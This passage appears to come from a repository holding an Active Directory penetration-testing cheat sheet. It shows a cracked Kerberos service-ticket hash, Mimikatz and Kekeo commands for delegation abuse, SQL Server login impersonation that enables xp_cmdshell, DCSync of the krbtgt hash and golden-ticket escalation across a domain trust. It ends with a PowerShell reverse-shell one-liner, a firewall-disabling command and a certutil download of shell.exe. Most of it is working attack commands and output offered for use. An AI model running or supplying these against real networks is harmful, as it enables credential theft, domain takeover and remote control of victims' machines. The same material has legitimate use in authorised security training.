e4cdf3680d52a289ee8b85d9410793b7ef2b0bf86f3ce00d80daf0c6904a496f95928a4ea523af30df29613bab42052ae2221103ec1c86b46aca95bbd97377024077be9b6bba68ea62055cedcfc8e2fb26e69996653a06b837900bc2a4cbc817f1b18a0bbd3ce6068a94474fc7dc9a0fce3d9ae667190d072501ce0b8c92460f189766f04fd6fab6a45e8de08d40a7d6c3a96a05b3cdc058473a1e28deeffd574914d86dca3180a030c1d6e40074958ad535a0d3759276412e070aa987d7bc84e72dbb72c41f8f0f3ae221ad2f76d8740538e375a43cde2e6b1394aca0840db94836f72ed1703e1e11b81c51dbe3710e8768d4d05073f042c996e6b338fec59b5f9891163aa09913e346c2423f44dea091152f47969c74434b971cc8d87f021739451fb27a0ffe343e6f36dacda5053d93ea6be7ea95d386bb027bde4b73738603796a9c72c3588e592f994216403340443597ac68e533c274138e1d8d121e6e9f645fa35f10adc33a558dd1bd2e9ea1c0181b971cfb571c76bad6d40d062a1a63951d62c2fcca87740fc0fbe6a502e2e4ddd7d8e8c556e7b70479c5d8ca2af021c84d007e0ce95:Password123 225 | 226 | Session..........: hashcat 227 | Status...........: Cracked 228 | Hash.Type........: Kerberos 5 TGS-REP etype 23 229 | Hash.Target......: $krb5tgs$23$*spn1$marvel.local$http/hydra.marvel.lo...e0ce95 230 | Time.Started.....: Tue Jan 07 10:12:14 2020 (0 secs) 231 | Time.Estimated...: Tue Jan 07 10:12:14 2020 (0 secs) 232 | Guess.Base.......: File (rockyou.txt) 233 | Guess.Queue......: 1/1 (100.00%) 234 | Speed.#1.........: 42526.0 kH/s (8.75ms) @ Accel:512 Loops:1 Thr:64 Vec:1 235 | Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts 236 | Progress.........: 983040/14344384 (6.85%) 237 | Rejected.........: 0/983040 (0.00%) 238 | Restore.Point....: 0/14344384 (0.00%) 239 | Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 240 | Candidates.#1....: 123456 -> computer? 241 | Hardware.Mon.#1..: Temp: 47c Util: 4% Core: 960MHz Mem:6801MHz Bus:16 242 | 243 | Started: Tue Jan 07 10:12:06 2020 244 | Stopped: Tue Jan 07 10:12:19 2020 245 | ``` 246 | 247 | ### Unconstrained Delegation 248 | Looking for machines that allow unconstrained delegation: 249 | ``` 250 | PS C:\ad> (Get-DomainComputer -Unconstrained).cn 251 | MVU-DC1 252 | MVU-PROD 253 | ``` 254 | In order to perform the attack, MVU-PROD should be compromised and following command needs to be executed: 255 | ``` 256 | Invoke-Mimikatz –Command '"sekurlsa::tickets /export"' 257 | Invoke-Mimikatz –Command '"kerberos::ptt C:\ad\SOMEUSER.kirbi"' 258 | ``` 259 | ### Constrained Delegation 260 | Looking for machines that allow constrained delegation: 261 | ``` 262 | PS C:\ad> (Get-DomainComputer -TrustedToAuth).cn 263 | MVU-DB 264 | ``` 265 | 266 | Looking for object allowed to be delegated: 267 | ``` 268 | PS C:\ad\ADModule-master> Import-Module .\Microsoft.ActiveDirectory.Management.dll 269 | PS C:\ad\ADModule-master> Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} 270 | 271 | 272 | DistinguishedName : CN=someservice,CN=Users,DC=us,DC=marvel,DC=local 273 | Name : someservice 274 | ObjectClass : user 275 | ObjectGuid : 8612bef0-c62b-47d9-9085-b11e5ea71b1b 276 | PropertyNames : {DistinguishedName, Name, ObjectClass, ObjectGUID} 277 | AddedProperties : {} 278 | RemovedProperties : {} 279 | ModifiedProperties : {} 280 | PropertyCount : 4 281 | 282 | DistinguishedName : CN=UFC-DB1,OU=Servers,DC=us,DC=marvel,DC=local 283 | Name : MVU-DB1 284 | ObjectClass : computer 285 | ObjectGuid : 3e68b455-f55a-443e-b227-2e833e7caedb 286 | PropertyNames : {DistinguishedName, Name, ObjectClass, ObjectGUID} 287 | AddedProperties : {} 288 | RemovedProperties : {} 289 | ModifiedProperties : {} 290 | PropertyCount : 4 291 | 292 | ``` 293 | Preconditions: MVU-DB1 Compromised, NTLM Hashes dumped, Kekeo.exe and Mimikatz: 294 | ``` 295 | PS C:\ad> kekeo.exe "tgt::ask /user:someservice /domain:us.marvel.local /ntlm:${NTLM}" 296 | 297 | PS C:\ad> kekeo.exe "tgs::s4u /tgt:TGT_someservice@US.MARVEL.LOCAL_krbtgt~us.marvel.local@US.MARVEL.LOCAL.kirbi /user:Administrator@us.marvel.local /service:time/MVU-DC1.us.marvel.local|ldap/MVY-DC1.us.marvel.local 298 | 299 | Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@us.marvel.local@US.MARVEL.LOCAL_ldap~UFC-DC1.us.marvel.local@US.MARVEL.LOCAL_ALT.kirbi"' 300 | ``` 301 | 302 | ### SQL Server Escalation 303 | #### Impersonate SQL User 304 | Check impersonation possibilities: 305 | ``` 306 | PS C:\> Get-SQLQuery -Instance $instance -Verbose -Query "select distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'" 307 | VERBOSE: MVU-SQL.us.marvel.local : Connection Success. 308 | 309 | name 310 | ---- 311 | sa 312 | dbuser 313 | ``` 314 | Check impersonation possibilitie using PowerUpSQL: 315 | ``` 316 | Invoke-SQLAuditPrivImpersonate -Username $username -Password $password -Instance MVU-SQL.us.marvel.local -Verbose 317 | VERBOSE: MVU-SQL.us.marvel.local : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN 318 | VERBOSE: MVU-SQL.us.marvel.local : CONNECTION SUCCESS. 319 | VERBOSE: MVU-SQL.us.marvel.local : - Logins can be impersonated. 320 | VERBOSE: MVU-SQL.us.marvel.local : - dbuser can impersonate the sa sysadmin login. 321 | ``` 322 | 323 | Impersonate using PowerUpSQL 324 | ``` 325 | PS C:\> Invoke-SQLAuditPrivImpersonateLogin -Instance $instance -Verbose -Exploit 326 | VERBOSE: MVU-SQL.us.marvel.local : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN 327 | VERBOSE: MVU-SQL.us.marvel.local : CONNECTION SUCCESS. 328 | VERBOSE: MVU-SQL.us.marvel.local : - Logins can be impersonated. 329 | VERBOSE: MVU-SQL.us.marvel.local : - dbuser can impersonate the sa sysadmin login. 330 | VERBOSE: MVU-SQL.us.marvel.local : - EXPLOITING: Starting exploit process... 331 | ``` 332 | 333 | Impersonate Manualy 334 | ``` 335 | EXECUTE AS LOGIN = 'dbadmin' 336 | EXECUTE AS LOGIN = 'sa' 337 | SELECT IS_SRVROLEMEMBER('sysadmin') 338 | ``` 339 | Execute Command from SQL Server 340 | ``` 341 | EXECUTE as LOGIN = 'sa' 342 | EXEC sp_configure 'show advanced options', 1 343 | RECONFIGURE 344 | EXEC sp_configure 'xp_cmdshell',1 345 | RECONFIGURE 346 | EXEC master..xp_cmdshell 'whoami' 347 | ``` 348 | 349 | 350 | ## Persistence 351 | ### DC Sync 352 | Preconditions Domain Administrator Privileges: 353 | ``` 354 | invoke-mimikatz -Command '"lsadump::dcsync /user:marvel\Administrator"' 355 | ``` 356 | DCSync feature for getting krbtgt hash, which can be use to create golden tickes: 357 | ``` 358 | Invoke-Mimikatz -Command '"lsadump::dcsync /user:marvel\krbtgt" 359 | ``` 360 | 361 | ## Escalation Across Domain Trust 362 | Admin of child domain, krbtgt hash, access to DC 363 | 364 | Getting the "sids" of the parent domain: 365 | ``` 366 | PS C:\ad> (New-Object System.Security.Principal.NTAccount("disney.local","krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value 367 | S-1-5-21-493355955-4213530352-789496340-502 368 | change 502 to 519 369 | Invoke-Mimikatz -Command '"kerberos::golden /domain:us.marvel.local /sid:{marvel-domain-sid} /sids:S-1-5-21-493355955-4213530352-789496340-519 /user:Administrator /krbtgt:$krbthash /ticket:C:\Users\Administrator\Desktop\trust_tgt.kirbi"' 370 | PS C:\ad> invoke-mimikatz -Command '"kerberos::ptt C:\Users\Administrator\Desktop\trust_tgt.kirbi"' 371 | 372 | ``` 373 | ## Misc 374 | # Reverse Shell OneLiner 375 | ``` 376 | $client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 377 | ``` 378 | 379 | # Encode Command 380 | ``` 381 | PS C:\ad> invoke-encode -DataToEncode .\Invoke-ReverseTCPOneliner.ps1 -OutCommand 382 | Encoded data written to .\encoded.txt 383 | Encoded command written to .\encodedcommand.txt 384 | ``` 385 | # File Transfer 386 | ``` 387 | $ses = New=PsSesion -ComputerName HYDRA 388 | Copy-Item -FromSession $ses -Path C:\Users\Administrator\Desktop\topsecret.txt 389 | 390 | $ses = New=PsSesion -ComputerName HYDRA 391 | Copy-Item -ToSession $ses -Path C:\Users\punisher\Desktop\powerup.ps1 -Destiantion C:\Users\Random\powerup.ps1 392 | ``` 393 | # Disable Firewall 394 | ``` 395 | PS C:\Windows\system32> Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False 396 | ``` 397 | # Fast Decode and Encode base64 file 398 | ``` 399 | certutil -encode test.exe test.txt 400 | certutil -decode test.txt test.exe 401 | ``` 402 | # Fast File Download 403 | ``` 404 | certutil -f -split -urlcache http://10.10.XX.XX/shell.exe 405 | ``` 406 | -------------------------------------------------------------------------------- /test.ps1: -------------------------------------------------------------------------------- 1 | whoami 2 | --------------------------------------------------------------------------------